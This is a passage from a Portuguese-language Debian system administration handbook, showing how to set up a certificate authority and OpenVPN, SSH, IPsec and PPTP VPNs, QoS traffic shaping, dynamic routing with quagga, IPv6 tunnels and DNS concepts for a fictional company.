export KEY_CONFIG=‘$EASY_RSA/whichopensslcnf $EASY_RSA‘
export KEY_DIR=”$EASY_RSA/keys”
echo NOTE: If you run ./clean-all, I will be doing a rm -rf on $KEY_DIR
export KEY_SIZE=2048
export KEY_EXPIRE=3650
export KEY_COUNTRY=”FR”
export KEY_PROVINCE=”Loire”
export KEY_CITY=”Saint-Étienne”
export KEY_ORG=”Falcot Corp”
export KEY_EMAIL=”admin@falcot.com”
export KEY_OU=”Certificate authority”
export KEY_NAME=”Certificate authority for Falcot Corp”
# If you’d like to sign all keys with the same Common Name, uncomment the KEY_CN

å export below
# export KEY_CN=”CommonName”
$ . ./vars
NOTE: If you run ./clean-all, I will be doing a rm -rf on /home/roland/pki-falcot/

å keys
$ ./clean-all

O próximo passo é a criação do próprio par de chaves CA (as duas partes do par de chaves será
armazenada sob keys/ca.crt e keys/ca.key durante esse passo):
$ ./build-ca
Generating a 2048 bit RSA private key
...................................................................+++
...+++
writing new private key to ’ca.key’
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter ’.’, the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:
Common Name (eg, your name or your server’s hostname) [Falcot Corp CA]:
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Name [Certificate authority for Falcot Corp]:
Email Address [admin@falcot.com]:

O certificado para o servidor VPN pode, agora, ser criado, assim como os parâmetros Diffie-
Hellman necessários para o lado do servidor em uma conexão SSL/TLS. O servidor VPN é identi-
ficado pelo seu nomeDNS vpn.falcot.com; esse nome é reutilizado nos arquivos de chave gerados
(keys/vpn.falcot.com.crt para certificado público, keys/vpn.falcot.com.key para chave
privada):

$ ./build-key-server vpn.falcot.com
Generating a 2048 bit RSA private key
.....................................................................................................................+++

å
...........+++
writing new private key to ’vpn.falcot.com.key’
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter ’.’, the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:
Common Name (eg, your name or your server’s hostname) [vpn.falcot.com]:
Name [Certificate authority for Falcot Corp]:
Email Address [admin@falcot.com]:

Please enter the following ’extra’ attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Using configuration from /home/roland/pki-falcot/openssl-1.0.0.cnf
Check that the request matches the signature
Signature ok
The Subject’s Distinguished Name is as follows
countryName :PRINTABLE:’FR’
stateOrProvinceName :PRINTABLE:’Loire’
localityName :T61STRING:’Saint-\0xFFFFFFC3\0xFFFFFF89tienne’
organizationName :PRINTABLE:’Falcot Corp’
organizationalUnitName:PRINTABLE:’Certificate authority’
commonName :PRINTABLE:’vpn.falcot.com’
name :PRINTABLE:’Certificate authority for Falcot Corp’
emailAddress :IA5STRING:’admin@falcot.com’
Certificate is to be certified until Mar 6 14:54:56 2025 GMT (3650 days)
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Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated
$ ./build-dh
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
[…]

O próximo passo cria certificados para os clientes VPN; um certificado é necessário para cada
computar ou pessoa ser autorizada a usar a VPN:

$ ./build-key JoeSmith
Generating a 2048 bit RSA private key
................................+++
..............................................+++
writing new private key to ’JoeSmith.key’
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter ’.’, the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:Development unit
Common Name (eg, your name or your server’s hostname) [JoeSmith]:Joe Smith
[…]

Agora que todos os certificados foram criados, eles precisam ser copiados para um local apro-
priado: a chave pública do root certificate (keys/ca.crt) será armazenada em todas as má-
quinas (tanto servidor quanto clientes) como /etc/ssl/certs/Falcot_CA.crt. O certificado
do servidor é instalado apenas no servidor (keys/vpn.falcot.com.crt vai para /etc/ssl/vpn.
falcot.com.crt, e keys/vpn.falcot.com.key vai para /etc/ssl/private/vpn.falcot.com.
key com restritivas permissões para que apenas o administrador possa lê-la), com os parâme-
tros Diffie-Hellman correspondentes (keys/dh2048.pem) instalados em /etc/openvpn/dh2048.
pem. Certificados do clientes são instalados no cliente VPN correspondente de maneira similar.
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Configurando o Servidor OpenVPN

Por padrão, o script de inicialização do OpenVPN tenta iniciar todas as redes virtuais privadas
definidas em /etc/openvpn/*.conf. A configuração de um servidor VPN é portanto uma ques-
tão de armazenar o arquivo de configuração correspondente neste diretório. Um bom ponto
departida é o/usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz,
que orienta em como ter um servidor padrão. Claro que alguns parâmetros precisam ser adapta-
dos: ca, cert, key e dh precisam descrever as localizações selecionadas (respectivamente, /etc/s-
sl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key e /etc/o-
penvpn/dh2048.pem). A diretiva server 10.8.0.0 255.255.255.0 define a sub-rede a ser usada pela
VPN; o servidor usa o primeiro endereço IP nesse intervalo (10.8.0.1) e o resto dos endereços são
alocados para os clientes.
Com essa configuração, ao iniciar o OpenVPN, é criada uma interface de rede virtual, usual-
mente sob o nome de tun0. Contudo, firewalls são geralmente configurados ao mesmo tempo
que interfaces de rede reais, o que acontece antes do OpenVPN ser iniciado. A boa prática então
recomenda a criação de uma interface de rede virtual persistênte, e configurara o OpenVPN a
usar essa pré-existente interface. Isso inclusive permite a escolha do nome dessa interface. Para
esse fim, openvpn --mktun --dev vpn --dev-type tun cria uma interface de rede virtual de
nome vpn do tipo tun; esse comando pode ser facilmente integrado ao script de configuração do
firewall, ou na diretiva up do arquivo /etc/network/interfaces. O arquivo de configuração
do OpenVPN deve também ser atualizado em conformidade com as diretivas dev vpn e dev-type
tun.
Salvo ações posteriores, clientes VPN só podem acessar o próprio servidor VPN pelo caminho
do endereço 10.8.0.1. Permitir que os clientes acessem a rede local (192.168.0.0/24) requer a adi-
ção da diretiva push route 192.168.0.0 255.255.255.0 na configuração do OpenVPN para que os
clientes VPN automaticamente recebam o roteamento dizendo a eles que essa rede é alcançável
através da VPN. Além do mais, máquinas na rede local também precisam ser informadas que a
rota para a VPN passa pelo servidor VPN (isso funciona de maneira automática quando o servi-
dor VPN é instalado no gateway). Alternativamente, o servidor VPN pode ser configurado para
desempenhar um mascaramento IP, e assim as conexões vidas de clientes VPN aparecem com
se elas viessem do servidor VPN (see Seção 10.1, “Gateway” [234]).

Configurando o Cliente OpenVPN

Configurar um cliente OpenVPN também requer a criação de um arquivo de configuração em
/etc/openvpn/. Uma configuração padrão pode ser obtida usando /usr/share/doc/openvpn/
examples/sample-config-files/client.conf como ponto de partida. A diretiva remote
vpn.falcot.com 1194 descreve o endereço e porta do servidor OpenVPN; ca, cert and key tam-
bém precisam ser adaptadas para descrever a localização dos arquivos com as chaves.
Se a VPN não deve ser iniciadas automaticamente na inicialização, configure a diretiva
AUTOSTART para none no arquivo /etc/default/openvpn. Iniciar ou parar uma deter-
minada conexão VPN é sempre possível com os comandos service openvpn@name start
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and service openvpn@name stop (aonde a conexão nome casa com uma definida em /etc/
openvpn/nome.conf).
O pacote network-manager-openvpn-gnome contém uma extensão para o Network Manager (see
Seção 8.2.5, “Configuração Automática de Rede para Usuários em Roaming” [162]) que permite
o gerenciamento de redes virtuais privadas OpenVPN. Isso permite que todo usuário configure
e controle as conexões OpenVPN graficamente através do ícone de gerenciamento de redes.

10.2.2. Rede Privada Virtual com SSH

Existem, na verdade, duas maneiras de criar uma rede virtual privada com SSH. A mais antiga
envolve estabelecer uma camada PPP sobre uma ligação SSH. Esse método é descrito em um
documento HOWTO:
è http://www.tldp.org/HOWTO/ppp-ssh/

O segundo método é mais recente, e foi introduzido no OpenSSH 4.3; agora é possível para o
OpenSSH criar interfaces de rede virtual (tun*) nos dois lados de uma conexão SSH, e essas in-
terfaces virtuais podem ser configuradas exatamente como se elas fossem interfaces físicas. O
sistemade túnel (”tunneling”) deve ser primeiro ativado configurandoPermitTunnel como “yes”
no arquivo de configuração do servidor SSH (/etc/ssh/sshd_config). Ao estabelecer uma co-
nexão SSH, a criação de um túnel deve ser explicitamente requisitada com a opção -w any:any
(any pode ser substituída pelo desejado número de dispositivo tun). Isso requer que o usuário
tenha privilégios de administrador nos dois lados, assim como ser capaz de criar o dispositivo
de rede (em outras palavras, a conexão deve ser estabelecida como root).
Ambos os métodos para criação de rede virtual privada pelo SSH são bem simples. Contudo, a
VPN que eles implementam não é a mais eficiente disponível, em particular, ela não lida muito
bem com elevados níveis de tráfego.
A explicação é que quando umapilha TCP/IP é encapsulada dentro de uma conexão TCP/IP (para
SSH), o protocolo TCP é usado duas vezes, uma vez para a conexão SSH e outra dentro do túnel.
Isso leva a problemas, especialmente devido ao modo o TCP se adaptar as condições da rede,
alterando os atrasos de ”timeout”. O seguinte sítio descreve o problema mais detalhadamente:
è http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs sobre SSH deve portanto ser restrita a ”one-off tunnels” sem restrições de desempenho.

10.2.3. IPsec

O IPsec, apesar de ser o padrão em VPNs IP, é um pouco mais envolvido em sua implemen-
tação. O próprio mecanismo IPsec é integrado no núcleo Linux; as partes do espaço usuário
necessárias, as ferramentas de controle e configuração, são fornecidas pelo pacote ipsec-tools.
Em termos concretos, o /etc/ipsec-tools.conf de cada máquina contém os parâmetros para
os túneis IPsec (ou Security Associations, na terminologia IPsec) que o hospedeiro se preocupa; o
script /etc/init.d/setkey fornece uma maneira para iniciar e parar um túnel (cada túnel é
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uma ligação segura para outramáquina conectada a rede virtual privada). Esse arquivo pode ser
construídomanualmente a partir da documentação fornecida pela página demanual setkey(8).
Contudo, escrever explicitamente os parâmetros para todas as máquinas em um conjunto não-
trivial de máquinas rapidamente se torna uma tarefa árdua, já que o número de túneis cresce
rápido. Instalar um daemon IKE (para IPsec Key Exchange) como o racoon ou strongswan torna o
processo muito mais simples, por reunir a administração em um ponto central, e mais seguro
por rotacionar as chaves periodicamente.
Apesar do seu status como referência, a complexidade de criação de IPsec restringe seu uso na
prática. As soluções baseadas em OpenVPN irão geralmente ser preferidas quando os necessá-
rios túneis não forem muitos ou não forem muito dinâmicos.

ATENÇÃO

IPsec e NAT
IPsec e Firewalls que fazem NAT não funcionam bem juntos: como o IPsec assina
os pacotes, qualquer alteração nesses pacotes que o firewall possa a vir fazer irá
anular essa assinatura, e assim, os pacotes serão rejeitados em seu destino. Vá-
rias implementações incluem agora a técnica NAT-T (para NAT Traversal), o que
basicamente encapsula o pacote IPsec dentro de um pacote UDP padrão.

SEGURANÇA

IPsec e firewalls
O modo padrão de operação do IPsec envolve troca de dados pela porta UDP 500
para troca de chave (também pela porta UDP 4500 para o caso que o NAT-T esteja
em uso). Além disso, os pacotes IPsec usam dois protocolos IP dedicados que o
firewall tem que deixar passar; a recepção desses pacotes é baseada nos seus nú-
meros de protocolo, 50 (ESP) e 51 (AH).

10.2.4. PPTP

PPTP (Point-to-Point Tunneling Protocol) usa dois canais de comunicação, um para controlar dados
e um para dados de carga útil (payload); o último usa o protocolo GRE (Generic Routing Encapsula-
tion). Um link PPP padrão é então configurado sobre o canal de troca de dados.

Configurando o Cliente

Opacote pptp-linux contémumcliente PPTPpara Linux fácil de configurar. As instruções a seguir
foram inspiradas na documentação oficial:
è http://pptpclient.sourceforge.net/howto-debian.phtml

Os administradores da Falcot criaram vários arquivos: /etc/ppp/options.pptp, /etc/ppp/
peers/falcot, /etc/ppp/ip-up.d/falcot, e /etc/ppp/ip-down.d/falcot.

Exemplo 10.2 O arquivo /etc/ppp/options.pptp

# PPP options used for a PPTP connection
lock
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noauth
nobsdcomp
nodeflate

Exemplo 10.3 O arquivo /etc/ppp/peers/falcot

# vpn.falcot.com is the PPTP server
pty ”pptp vpn.falcot.com --nolaunchpppd”
# the connection will identify as the ”vpn” user
user vpn
remotename pptp
# encryption is needed
require-mppe-128
file /etc/ppp/options.pptp
ipparam falcot

Exemplo 10.4 O arquivo /etc/ppp/ip-up.d/falcot

# Create the route to the Falcot network
if [ ”$6” = ”falcot” ]; then
# 192.168.0.0/24 is the (remote) Falcot network
route add -net 192.168.0.0 netmask 255.255.255.0 dev $1

fi

Exemplo 10.5 O arquivo /etc/ppp/ip-down.d/falcot

# Delete the route to the Falcot network
if [ ”$6” = ”falcot” ]; then
# 192.168.0.0/24 is the (remote) Falcot network
route del -net 192.168.0.0 netmask 255.255.255.0 dev $1

fi

SEGURANÇA

MPPE
A segurança do PPTP envolve o uso do recurso MPPE (Microsoft Point-to-Point
Encryption), o qual está disponível nos núcleos oficiais Debian como módulo.

Configurando o Servidor
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ATENÇÃO

PPTP e firewalls
Firewalls intermediários precisam ser configurados para deixar passar pacotes IP
que usam protocolo 47 (GRE). Além do mais, a porta do servidor PPTP 1723 precisa
estar aberta para que a comunicação pelo canal possa acontecer.

pptpd é o servidor PPTP para Linux. Seu principal arquivo de configuração, /etc/pptpd.conf,
requer muito poucas alterações: localip (endereço IP local) e remoteip (endereço IP remoto). No
exemplo abaixo, o servidor PPTP sempre usa o endereço 192.168.0.199, e os clientes PPTP rece-
bem endereços IP entre 192.168.0.200 e 192.168.0.250.

Exemplo 10.6 O arquivo /etc/pptpd.conf

# TAG: speed
#
# Specifies the speed for the PPP daemon to talk at.
#
speed 115200

# TAG: option
#
# Specifies the location of the PPP options file.
# By default PPP looks in ’/etc/ppp/options’
#
option /etc/ppp/pptpd-options

# TAG: debug
#
# Turns on (more) debugging to syslog
#
# debug

# TAG: localip
# TAG: remoteip
#
# Specifies the local and remote IP address ranges.
#
# You can specify single IP addresses separated by commas or you can
# specify ranges, or both. For example:
#
# 192.168.0.234,192.168.0.245-249,192.168.0.254
#
# IMPORTANT RESTRICTIONS:
#
# 1. No spaces are permitted between commas or within addresses.
#
# 2. If you give more IP addresses than MAX_CONNECTIONS, it will
# start at the beginning of the list and go until it gets
# MAX_CONNECTIONS IPs. Others will be ignored.
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#
# 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,
# you must type 234-238 if you mean this.
#
# 4. If you give a single localIP, that’s ok - all local IPs will
# be set to the given one. You MUST still give at least one remote
# IP for each simultaneous client.
#
#localip 192.168.0.234-238,192.168.0.245
#remoteip 192.168.1.234-238,192.168.1.245
#localip 10.0.1.1
#remoteip 10.0.1.2-100
localip 192.168.0.199
remoteip 192.168.0.200-250

A configuração PPP usada pelo servidor PPTP também requer algumasmudanças em /etc/ppp/
pptpd-options. Os parâmetros importantes são o nome do servidor (pptp), o nome de domínio
(falcot.com), e o endereço IP para os servidores DNS e WINS.

Exemplo 10.7 O arquivo /etc/ppp/pptpd-options

## turn pppd syslog debugging on
#debug

## change ’servername’ to whatever you specify as your server name in chap-secrets
name pptp
## change the domainname to your local domain
domain falcot.com

## these are reasonable defaults for WinXXXX clients
## for the security related settings
# The Debian pppd package now supports both MSCHAP and MPPE, so enable them
# here. Please note that the kernel support for MPPE must also be present!
auth
require-chap
require-mschap
require-mschap-v2
require-mppe-128

## Fill in your addresses
ms-dns 192.168.0.1
ms-wins 192.168.0.1

## Fill in your netmask
netmask 255.255.255.0

## some defaults
nodefaultroute
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proxyarp
lock

O último passo envolve o registro do usuário vpn (e senha correspondente) no arquivo /etc/
ppp/chap-secrets. Ao contrário de outras instâncias ondeumasterisco (*) funcionaria, o nome
do servidor tem que ser preenchido explícitamente aqui. Além do mais, clientes PPTP em Win-
dows são identificados sob a forma DOMAIN \\USER, ao invés de apenas fornecer um nome de
usuário. Isso explica o porque do arquivo também mencionar o usuário FALCOT\\vpn. Tam-
bém é possível especificar um endereço IP individual para usuários; um asterisco neste campo
especifica que endereços dinâmicos devem ser usados.

Exemplo 10.8 O arquivo /etc/ppp/chap-secrets

# Secrets for authentication using CHAP
# client server secret IP addresses
vpn pptp f@Lc3au *
FALCOT\\vpn pptp f@Lc3au *

SEGURANÇA

Vulnerabilidades PPTP
A primeira implementação do PPTP da Microsoft atraiu severas críticas porque ela
tinha várias vulnerabilidades de segurança; a maioria foi, desde então, consertada
em versões mais recentes. A configuração documentada nestas seção usa a última
versão do protocolo. Esteja ciente então de que removendo algumas das opções
(como require-mppe-128 e require-mschap-v2) fará com que o serviço fique
vulnerável novamente.

10.3. Qualidade do Serviço

10.3.1. Princípio e Mecanismo

Quality of Service (ou QoS para abreviar) se refere a um conjunto de técnicas que garantem ou
melhoram a qualidade do serviço fornecido às aplicações. A mais popular dessas técnicas en-
volve a classificação o tráfego de rede em categorias, e à diferenciação ao manejar esse tráfego
de acordo com a categoria a qual ele pertence. A principal aplicação desse conceito de diferen-
ciação de serviços é traffic shaping, o qual limita a taxa de transmissão de dados para conexões
relacionadas a algum serviço e/ou máquinas (hosts) para que não haja saturação da largura de
banda disponível e deixe outros importantes serviços sem nada. Traffic shaping se encaixa bem
particularmente no tráfego TCP, já que esse protocolo se adapta automaticamente a largura de
banda disponível.
Também é possível alterar as prioridades do tráfego, o que permite priorizar pacotes relacio-
nados a serviços de interação (como o ssh e o telnet) ou a serviços que lidam apenas com
pequenos blocos de dados.
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Os núcleos Debian incluem os recursos necessários para o QoS junto com seus módulos associa-
dos. Esses módulos são muitos, e cada um deles provê um serviço diferente, principalmente por
meio de agendamentos especiais para as filas de pacotes IP; a ampla gama de comportamentos
do agendador disponível abrange todos os possíveis requisitos.

CULTURA

LARTC — Roteamento
avançado e controle de

tráfego do Linux

O HOWTO Linux Advanced Routing & Traffic Control é o documento de referen-
cia que cobre tudo que se deve saber sobre serviço de qualidade de rede.

è http://www.lartc.org/howto/

10.3.2. Configurando e implementando

Os parametros do QoS são configurados através do comando tc (fornecido pelo pacote iproute).
Como sua interface é bem complexa, o uso de ferramentas de alto nível é recomendado.

Reduzindo Latências: wondershaper

O principal propósito do wondershaper (em pacote de nome similar) é minimizar latências in-
dependente da carga da rede. Isso é alcançado limitando o total de tráfego para um valor que
seja pouco abaixo do valor de saturação do link.
Umavez que uma interface de rede esteja configurada, configura-se sua limitação de tráfego exe-
cutando wondershaper interface taxa_download taxa_upload. A interface pode ser eth0
ou ppp0 por exemplo, e ambas as taxas são expressas em kilobits por segundo. O comando
wondershaper remove interface desabilita o controle de tráfego na interface especificada.
Para uma conexão Ethernet, é melhor chamar esse script assim que a interface esteja configu-
rada. Isso é feito adicionando as diretivas up e down no arquivo /etc/network/interfaces
permitindo que os comandos declarados sejam executados, respectivamente, após a configura-
ção da interface e antes que ela seja desconfigurada. Por exemplo:

Exemplo 10.9 Mudanças no arquivo /etc/network/interfaces

iface eth0 inet dhcp
up /sbin/wondershaper eth0 500 100
down /sbin/wondershaper remove eth0

No caso do PPP, criar um script que chame wondershaper em /etc/ppp/ip-up.d/ irá habilitar
o control de tráfico assim que a conexão seja feita.

INDO ALÉM

Configuração ideal
O arquivo /usr/share/doc/wondershaper/README.Debian.gz descreve, com al-
guns detalhes, o método de configuração recomendado pelo mantenedor do pacote.
Em particular, ele aconselha a medição da velocidade de download e upload a fim
de melhor avaliar os limites reais.
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Configuração Padrão

Salvo uma configuração de QoS específica, o núcleo Linux usa o agendador de fila pfifo_fast, que
fornece, ele mesmo, alguns recursos interessantes. A prioridade de cada pacote IP processado
é baseada no campo ToS (Type of Service) desse pacote; modicar esse campo é o suficiente para
tirar vantagem dos recursos de agendamento. Existem cinco possíveis valores:

• Normal-Service (0); (serviço normal)
• Minimize-Cost (2); (minimizar custo)
• Maximize-Reliability (4); (maximizar confiabilidade)
• Maximize-Throughput (8); (maximizar vazão)
• Minimize-Delay (16) (minimizar retardo).

O campo ToS pode ser configurado por aplicações que geram pacotes IP, ou modificado em
tempo de execução pelo netfilter. As regras a seguir são suficientes para aumentar a capacidade
de resposta para o serviço de um servidor SSH:
iptables -t mangle -A PREROUTING -p tcp --sport ssh -j TOS --set-tos Minimize-Delay
iptables -t mangle -A PREROUTING -p tcp --dport ssh -j TOS --set-tos Minimize-Delay

10.4. Roteamento Dinâmico

A ferramenta de referencia para roteamento dinâmico é atualmente o quagga, do pacote de
nome similar; costumava ser o zebra até que seu desenvolvimento foi descontinuado. Contudo,
o quagga mantém os nomes dos programas por questões de compatibilidade, o que explica os
comandos zebra abaixo.

DE VOLTA AO BÁSICO

Roteamento dinâmico
O roteamento dinâmico permite que os roteadores ajustem, em tempo real, os ca-
minhos usados para transmitir pacotes IP. Cada protocolo envolve um método pró-
prio para definir rotas (caminhos mais curtos, usam rotas anunciadas pelos pares,
e assim por diante).

No núcleo Linux, uma rota ”liga” um dispositivo de rede a um conjunto de máqui-
nas que podem ser alcançadas através desse dispositivo. O comando route define
novas rotas e exibe as existentes.

Quagga é um conjunto de daemons que cooperam para definir as tabelas de roteamento a serem
usadas pelo núcleo Linux; cada protocolo de roteamento (mais notadamente BGP, OSPF e RIP)
provê seu próprio daemon. O daemon zebra coleta informações a partir de outros daemons e
lida comas tabelas de roteamento estático emconformidade. Os outros daemons são conhecidos
como bgpd, ospfd, ospf6d, ripd, ripngd, isisd, e babeld.
Daemons são habilitados editando o arquivo /etc/quagga/daemons e criando o arquivo de con-
figuração apropriado em /etc/quagga/; esses arquivos de configuração devem ser nomeados
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após o daemon, com extensão .conf, e pertencer ao usuário quagga e grupo quaggavty para que
o script /etc/init.d/quagga possa invocar o daemon.
A configuração de cada um desses daemons requer conhecimento do protocolo de roteamento
em questão. Esses protocolos não podem ser descritos em detalhes aqui, mas o quagga-doc provê
uma ampla explanação na forma de um arquivo info. O mesmo conteúdo talvez seja mais fácil
de manusear em HTML no website do Quagga:
è http://www.nongnu.org/quagga/docs/docs-info.html

Adicionalmente, a sintaxe é muito próxima a uma interface de configuração de um roteador
padrão, e administradores de rede irão se adaptar rapidamente ao quagga.

NA PRÁTICA

OSPF, BGP ou RIP?
OSPF é geralmente o melhor protocolo a se usar para roteamento dinâmico em
redes privadas, mas BGP é mais comum para o amplo roteamento da Internet. RIP
é bem antigo, e raramente usado.

10.5. IPv6

IPv6, sucessor do IPv4, é a nova versão do protocolo IP desenhado para consertar suas falhas,
mais notadamente a excasses de endereços IP disponíveis. Esse protocolo lida com a camada de
rede; seu propósito é fornecer umamaneira de endereçar máquinas, para direcionar dados para
o destino pretendido, e lidar com fragmentação de dados se necessário (em outras palavras,
dividir pacotes em pedaços de tamanho que depende dos links de rede a serem usados pelo
caminho e juntar esses pedaços na ordem apropriada na chegada).
Os núcleos Debian incluemomanejo do IPv6 no ”core” do núcleo (comexceção de algumas arqui-
teturas que tem esse suporte compilado como um módulo de nome ipv6). Ferramentas básicas
como ping e traceroute tem seu equivalente IPv6 como ping6 e traceroute6, disponíveis,
respectivamente, nos pacotes iputils-ping e iputils-tracepath.
A rede IPv6 é configurada de maneira similar a IPv4, em /etc/network/interfaces. Mas se
você quer que a rede esteja disponível globalmente, você tem que garantir que você tenha um
roteador de retransmissão de tráfego IPv6 com capacidade para a rede IPv6 global.

Exemplo 10.10 Exemplo de configuração IPv6

iface eth0 inet6 static
address 2001:db8:1234:5::1:1
netmask 64
# Disabling auto-configuration
# autoconf 0
# The router is auto-configured and has no fixed address
# (accept_ra 1). If it had:
# gateway 2001:db8:1234:5::1
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Sub-redes IPv6 geralmente tem uma máscara de rede de 64 bits. Isso significa que endereços
distintos 264 existem dentro da sub-rede. Isso permite a ”Stateless Address Autoconfiguration”
(SLAAC) pegar um endereço baseando-se no endereço MAC da interface de rede. Por padrão, se
SLAAC estiver ativada em sua rede e o IPv6 em seu computador, o núcleo irá automaticamente
encontrar os roteadores IPv6 e configurar as interfaces de rede.
Esse comportamentopode ter implicações deprivacidade. Se vocêmudade rede com frequência,
por exemplo com um laptop, você talvez não queira que seu endereço MAC faça parte do seu
endereço IPv6 público. Isso faz com que seja fácil identificar o mesmo dispositivo através das
redes. Uma solução para isso são as extensões de privacidade do IPv6 (que o Debian habilita
por padrão se a conectividade IPv6 é detectada durante a instalação inicial), as quais irão definir
um endereço adicional para a interface de forma aleatória, periodicamente alterá-lo e usá-los
para conexões de saída. Conexões de entrada podem continuar a usar os endereços gerados pelo
SLAAC. O exemplo a seguir, para uso em /etc/network/interfaces, ativa essas extensões de
privacidade.

Exemplo 10.11 Extensões de privacidade IPv6

iface eth0 inet6 auto
# Prefer the randomly assigned addresses for outgoing connections.
privext 2

DICA

Programas construídos
com IPv6

Muitos software precisam ser adaptados para lidar com IPv6. Amaioria dos pacotes
no Debian já foram adaptados, mas não todos. Se o seu pacote favorito ainda
não funciona com IPv6, você pode pedir ajuda na lista de email debian-ipv6. Eles
podem saber sobre a substituição IPv6 consciente e podem reportar um bug para
ter o assunto rastreado de maneira apropriada.

è http://lists.debian.org/debian-ipv6/

As conexões IPv6 podem ser restringidas, da mesma maneira que as conexões IPv4: os núcleos
Debian padrão incluem uma adaptação do netfilter para o IPv6. Esse netfilter habilitado para IPv6
é configurado de maneira similar a contraparte IPv4, excerto que o programa a ser usado é o
ip6tables ao invés do iptables.

10.5.1. Túneis

ATENÇÃO

Tunelamento IPv6 e
firewalls

O encapsulamento do IPv6 sobre o IPv4 (ao contrário do IPv6 nativo) requer que o
firewall aceite o tráfego, o qual usa o protocolo número 41 do IPv4.

Se uma conexão IPv6 nativa não está disponível, o método de recuperação (fallback) é usar o
encapsulamento sobre o IPv4. Gogo6 é um fornecedor (livre) desses encapsulamentos:
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è http://www.gogo6.com/freenet6/tunnelbroker

Para usar o encapsulamento Freenet6, você precisa se registrar no website abrindo uma conta
Freenet6 Pro, e depois instalar o pacote gogoc e configurar o encapsulamento. Isso requer editar
o arquivo /etc/gogoc/gogoc.conf: as linhas userid e password recebidas por email devem ser
adicionadas, e server deve ser substituída por authenticated.freenet6.net.
A conectividade IPv6 é oferecida para todas as máquinas de uma rede local adicionando-se as
três seguintes diretivas ao arquivo /etc/gogoc/gogoc.conf (assumindo que a rede local esteja
conectada a interface eth0):
host_type=router
prefixlen=56
if_prefix=eth0

A máquina se torna então o roteador de acesso para a subrede com prefixo 56-bit. Uma vez
que o túnel esteja ciente dessa alteração, a rede local deve ser avisada sobre isso; isso implica
em instalar o daemon radvd (do pacote de nome similar). Esse daemon de configuração IPv6
desempenha papel similar ao do dhcpd no mundo IPv4.
O arquivo de configuração /etc/radvd.conf deve então ser criado (veja /usr/share/doc/
radvd/examples/simple-radvd.conf como um ponto de partida). No nosso caso, a única alte-
ração necessária é o prefixo, o qual precisa se substituído pelo fornecido pela Freenet6; ele pode
ser encontrado pela resultado do comando ifconfig no bloco referente à interface tun.
Então execute service gogoc restart e service radvd start, e a rede IPv6 deve funcionar.

10.6. Servidores de Nomes de Domínio (DNS)

10.6.1. Princípio e Mecanismo

O Domain Name Service (DNS) é um componente fundamental da Internet: ele mapeia os nomes
demáquinas em endereços IP (e vice-versa), o que permite o uso dewww.debian.org ao invés de
5.153.231.4 ou 2001:41c8:1000:21::21:4.
O registros do DNS são organizados em zonas; cada zona coincide com um domínio (ou um sub-
domínio) ou um intervalo de endereço IP (já que endereços IP são geralmente alocados em inter-
valos consecutivos). Um servidor primário tem autoridade sobre o conteúdo de uma zona; ser-
vidores secundários, geralmente hospedados em máquinas separadas, fornecem regularmente
cópias atualizadas da zona primária.
Cada zona pode conter registros de vários tipos (Resource Records):

• A: endereço IPv4.
• CNAME: alias (nome canônico).
• MX: mail exchange, um servidor de email. Essa informação é usada por outros servidores
de email para saber para onde enviar o email destinado a umdado endereço. Cada registro
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MX tem uma prioridade. O servidor de prioridade mais alta (com o número mais baixo) é
tentado primeiro (veja barra lateral SMTP [266]); outros servidores são contactados em
uma ordem de prioridade decrescente caso o primeiro não responda.

• PTR: mapeamento de um endereço IP em um nome. Um registro desses é armazenado
em uma zona de “DNS reverso” cujo nome vem do intervalo de endereço IP. Por exemplo,
1.168.192.in-addr.arpa é a zonaque contémomapeamento reverso para todos os endereços
no intervalo 192.168.1.0/24.

• AAAA: endereço IPv6.
• NS: mapeia um nome para o servidor de nomes. Cada domínio tem que ter pelo menos
um registro NS. Esses registros apontam para um servidor DNS que pode responder pes-
quisas relacionadas a esse domínio; eles usualmente apontam para os servidores primário
e secundário do domínio. Esses registros também permitem delegação DNS; por exemplo,
a zona falcot.com pode incluir um registro NS para internal.falcot.com, o que significa que
a zona internal.falcot.com é gerenciada por outro servidor. Claro que, esse servidor tem
que declarar uma zona internal.falcot.com.

O servidor de nomes de referência, o Bind, foi desenvolvido e é mantido pela ISC (Internet Soft-
ware Consortium). Ele é fornecido pelo Debian pelo pacote bind9. A versão 9 trás duas grandes
mudanças comparando com versões anteriores. Primeiro, o servidor DNS pode agora ser ro-
dado sob um usuário sem privilégios, então uma vulnerabilidade de segurança no servidor não
permiter privilégios de root ao atacante (como já foi visto repetidamente nas versões 8.x).
Além do mais, o Bind suporta o padrão DNSSEC para assinar (e portanto autenticar) registros
DNS, o que permite bloquear qualquer falsificação (”spoofing”) de seus dados durante ataques
”man-in-the-middle”.

CULTURA

DNSSEC
A norma DNSSEC é bem complexa; isso explica um pouco porque ela ainda não
é amplamente usada (mesmo que ela coexista perfeitamente com servidores DNS
que não estejam cientes da DNSSEC). Para entender todos os meandros, você de-
veria ver o seguinte artigo.

è http://en.wikipedia.org/wiki/Domain_Name_System_Security_
Extensions

